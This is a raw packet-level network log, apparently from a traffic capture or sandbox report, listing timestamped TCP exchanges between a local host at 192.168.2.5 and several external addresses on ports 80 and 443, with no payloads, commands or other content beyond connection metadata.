Nov 26, 2024 10:09:34.763407946 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.763490915 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.763549089 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.764127016 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.764182091 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.764209032 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.764347076 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.764938116 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.764986992 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.766093016 CET	49846	443	192.168.2.5	20.110.205.119
Nov 26, 2024 10:09:34.812992096 CET	49845	443	192.168.2.5	13.89.179.13
Nov 26, 2024 10:09:34.856163025 CET	49859	443	192.168.2.5	23.33.40.139
Nov 26, 2024 10:09:34.856210947 CET	443	49859	23.33.40.139	192.168.2.5
Nov 26, 2024 10:09:34.856420040 CET	49859	443	192.168.2.5	23.33.40.139
Nov 26, 2024 10:09:34.856745958 CET	49860	443	192.168.2.5	23.33.40.139
Nov 26, 2024 10:09:34.856820107 CET	443	49860	23.33.40.139	192.168.2.5
Nov 26, 2024 10:09:34.856973886 CET	49859	443	192.168.2.5	23.33.40.139
Nov 26, 2024 10:09:34.856991053 CET	443	49859	23.33.40.139	192.168.2.5
Nov 26, 2024 10:09:34.857026100 CET	49860	443	192.168.2.5	23.33.40.139
Nov 26, 2024 10:09:34.857296944 CET	49860	443	192.168.2.5	23.33.40.139
Nov 26, 2024 10:09:34.857322931 CET	443	49860	23.33.40.139	192.168.2.5
Nov 26, 2024 10:09:34.861478090 CET	49861	443	192.168.2.5	204.79.197.219
Nov 26, 2024 10:09:34.861505985 CET	443	49861	204.79.197.219	192.168.2.5
Nov 26, 2024 10:09:34.861810923 CET	49861	443	192.168.2.5	204.79.197.219
Nov 26, 2024 10:09:34.861830950 CET	49862	443	192.168.2.5	204.79.197.219
Nov 26, 2024 10:09:34.861846924 CET	443	49862	204.79.197.219	192.168.2.5
Nov 26, 2024 10:09:34.862039089 CET	49861	443	192.168.2.5	204.79.197.219
Nov 26, 2024 10:09:34.862057924 CET	443	49861	204.79.197.219	192.168.2.5
Nov 26, 2024 10:09:34.862072945 CET	49862	443	192.168.2.5	204.79.197.219
Nov 26, 2024 10:09:34.862324953 CET	49862	443	192.168.2.5	204.79.197.219
Nov 26, 2024 10:09:34.862338066 CET	443	49862	204.79.197.219	192.168.2.5
Nov 26, 2024 10:09:34.903892994 CET	443	49847	23.96.180.189	192.168.2.5
Nov 26, 2024 10:09:34.904159069 CET	49847	443	192.168.2.5	23.96.180.189
Nov 26, 2024 10:09:34.904175997 CET	443	49847	23.96.180.189	192.168.2.5
Nov 26, 2024 10:09:34.905903101 CET	443	49847	23.96.180.189	192.168.2.5
Nov 26, 2024 10:09:34.905966997 CET	49847	443	192.168.2.5	23.96.180.189
Nov 26, 2024 10:09:34.907228947 CET	49847	443	192.168.2.5	23.96.180.189
Nov 26, 2024 10:09:34.907321930 CET	443	49847	23.96.180.189	192.168.2.5
Nov 26, 2024 10:09:34.907466888 CET	49847	443	192.168.2.5	23.96.180.189
Nov 26, 2024 10:09:34.911379099 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.911442041 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.911454916 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.911663055 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.911835909 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.911899090 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.911938906 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.912056923 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.912708044 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.912755966 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.912790060 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.912867069 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.913671970 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.913727999 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.913868904 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.913913965 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.914555073 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.914602995 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.914647102 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.914696932 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.915286064 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.915333033 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.915409088 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.915458918 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.916301966 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.916347980 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.916467905 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.916526079 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.917259932 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.917310953 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.917442083 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.917484045 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.918456078 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.918586969 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.918597937 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.918740988 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.919675112 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.919718027 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.919773102 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.919828892 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.920711994 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.920772076 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.920810938 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.920871973 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.921487093 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.921586990 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.921588898 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.921690941 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.922282934 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.922348022 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.922384977 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.922601938 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.923160076 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.923213959 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.923221111 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.923274994 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.924084902 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.924149990 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.924165964 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.924384117 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.925120115 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.925184965 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.925218105 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.925483942 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.925998926 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.926062107 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.926134109 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.926637888 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.926698923 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.926716089 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.927032948 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.927355051 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.927442074 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.927442074 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.927691936 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.928062916 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.928179979 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.928227901 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.929028034 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.929074049 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.929199934 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.929256916 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.929887056 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.930007935 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.930104017 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.930665970 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.930725098 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.930792093 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.930841923 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.931510925 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.931567907 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.931621075 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.931668043 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.932277918 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.932351112 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.932363987 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.932480097 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.932977915 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.933024883 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.933060884 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.933228970 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.933960915 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.934010029 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.934099913 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.934150934 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.934963942 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.935009003 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.935067892 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.935106039 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.936014891 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.936063051 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.936214924 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.936275959 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.936990023 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.937037945 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.937124014 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.937167883 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.937854052 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.937900066 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.937931061 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.938055992 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.938075066 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.938740015 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.938793898 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.938868046 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.938920975 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.939583063 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.939630985 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.939769983 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.939825058 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.940709114 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.940768003 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.940802097 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.940840006 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.941648960 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.941696882 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.941807985 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.941853046 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.942392111 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.942411900 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.942449093 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.942491055 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.943377972 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.943433046 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.943496943 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.943547964 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.944339991 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.944391012 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.944458961 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.944557905 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.945354939 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.945403099 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.945487976 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.945533037 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.946316957 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.946367979 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.946403980 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.946573973 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.947137117 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.947199106 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.947231054 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.947276115 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.948282957 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.948333979 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.948443890 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.948503971 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.949229002 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.949279070 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.949357033 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.949412107 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.950123072 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.950170040 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.950207949 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.950252056 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.950943947 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.950999975 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.951031923 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.951078892 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.951339960 CET	443	49847	23.96.180.189	192.168.2.5
Nov 26, 2024 10:09:34.951725006 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.951756954 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.951847076 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.952482939 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.952543974 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.952575922 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.952621937 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.953146935 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.953159094 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.953212976 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.953594923 CET	49847	443	192.168.2.5	23.96.180.189
Nov 26, 2024 10:09:34.953608990 CET	443	49847	23.96.180.189	192.168.2.5
Nov 26, 2024 10:09:34.953809977 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.953860044 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.953907013 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.953948975 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.954395056 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.954452038 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.954457045 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.954502106 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.955095053 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.955173969 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.955235004 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.955866098 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.955929041 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.955949068 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.956110954 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.956406116 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.956485987 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.956547976 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.956964016 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:34.957029104 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:34.986027002 CET	443	49849	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:34.986412048 CET	49849	443	192.168.2.5	23.44.129.36
Nov 26, 2024 10:09:34.986438990 CET	443	49849	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:34.986788034 CET	443	49849	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:34.987659931 CET	49849	443	192.168.2.5	23.44.129.36
Nov 26, 2024 10:09:34.987734079 CET	443	49849	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:34.987874031 CET	49849	443	192.168.2.5	23.44.129.36
Nov 26, 2024 10:09:34.995923996 CET	443	49853	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:34.996150970 CET	49853	443	192.168.2.5	23.44.129.36
Nov 26, 2024 10:09:34.996164083 CET	443	49853	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:34.997210979 CET	443	49853	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:34.997282982 CET	49853	443	192.168.2.5	23.44.129.36
Nov 26, 2024 10:09:34.997608900 CET	49853	443	192.168.2.5	23.44.129.36
Nov 26, 2024 10:09:34.997669935 CET	443	49853	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:34.997755051 CET	49853	443	192.168.2.5	23.44.129.36
Nov 26, 2024 10:09:34.997761011 CET	443	49853	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:35.000485897 CET	49847	443	192.168.2.5	23.96.180.189
Nov 26, 2024 10:09:35.031342030 CET	443	49849	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:35.031728983 CET	49849	443	192.168.2.5	23.44.129.36
Nov 26, 2024 10:09:35.038073063 CET	443	49852	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:35.039536953 CET	49852	443	192.168.2.5	23.44.129.36
Nov 26, 2024 10:09:35.039551020 CET	443	49852	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:35.040601969 CET	443	49852	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:35.040668964 CET	49852	443	192.168.2.5	23.44.129.36
Nov 26, 2024 10:09:35.040971994 CET	49852	443	192.168.2.5	23.44.129.36
Nov 26, 2024 10:09:35.041024923 CET	443	49852	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:35.041212082 CET	49852	443	192.168.2.5	23.44.129.36
Nov 26, 2024 10:09:35.047333002 CET	49853	443	192.168.2.5	23.44.129.36
Nov 26, 2024 10:09:35.051225901 CET	443	49850	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:35.051533937 CET	49850	443	192.168.2.5	23.44.129.36
Nov 26, 2024 10:09:35.051546097 CET	443	49850	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:35.052465916 CET	443	49850	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:35.052762985 CET	443	49851	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:35.053155899 CET	49851	443	192.168.2.5	23.44.129.36
Nov 26, 2024 10:09:35.053172112 CET	443	49851	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:35.053510904 CET	49850	443	192.168.2.5	23.44.129.36
Nov 26, 2024 10:09:35.053599119 CET	443	49850	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:35.053762913 CET	49850	443	192.168.2.5	23.44.129.36
Nov 26, 2024 10:09:35.054282904 CET	443	49851	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:35.054342031 CET	49851	443	192.168.2.5	23.44.129.36
Nov 26, 2024 10:09:35.054712057 CET	49851	443	192.168.2.5	23.44.129.36
Nov 26, 2024 10:09:35.054805040 CET	443	49851	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:35.054872990 CET	49851	443	192.168.2.5	23.44.129.36
Nov 26, 2024 10:09:35.083343029 CET	443	49852	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:35.094217062 CET	49852	443	192.168.2.5	23.44.129.36
Nov 26, 2024 10:09:35.094233990 CET	443	49852	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:35.095338106 CET	443	49851	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:35.095339060 CET	443	49850	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:35.100002050 CET	443	49846	20.110.205.119	192.168.2.5
Nov 26, 2024 10:09:35.100092888 CET	443	49846	20.110.205.119	192.168.2.5
Nov 26, 2024 10:09:35.100137949 CET	49846	443	192.168.2.5	20.110.205.119
Nov 26, 2024 10:09:35.101783037 CET	49846	443	192.168.2.5	20.110.205.119
Nov 26, 2024 10:09:35.101804018 CET	443	49846	20.110.205.119	192.168.2.5
Nov 26, 2024 10:09:35.103431940 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.103497982 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.103560925 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.103928089 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.103982925 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.104021072 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.104063988 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.104773045 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.104865074 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.104903936 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.104947090 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.105643034 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.105689049 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.105748892 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.105880022 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.106504917 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.106554985 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.106569052 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.106812954 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.107366085 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.107469082 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.107544899 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.108237028 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.108283043 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.108371019 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.108444929 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.109091043 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.109210014 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.109246969 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.109831095 CET	49851	443	192.168.2.5	23.44.129.36
Nov 26, 2024 10:09:35.109854937 CET	443	49851	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:35.110040903 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.110203981 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.110251904 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.111044884 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:35.111151934 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:35.111162901 CET	80	49766	185.215.113.206	192.168.2.5
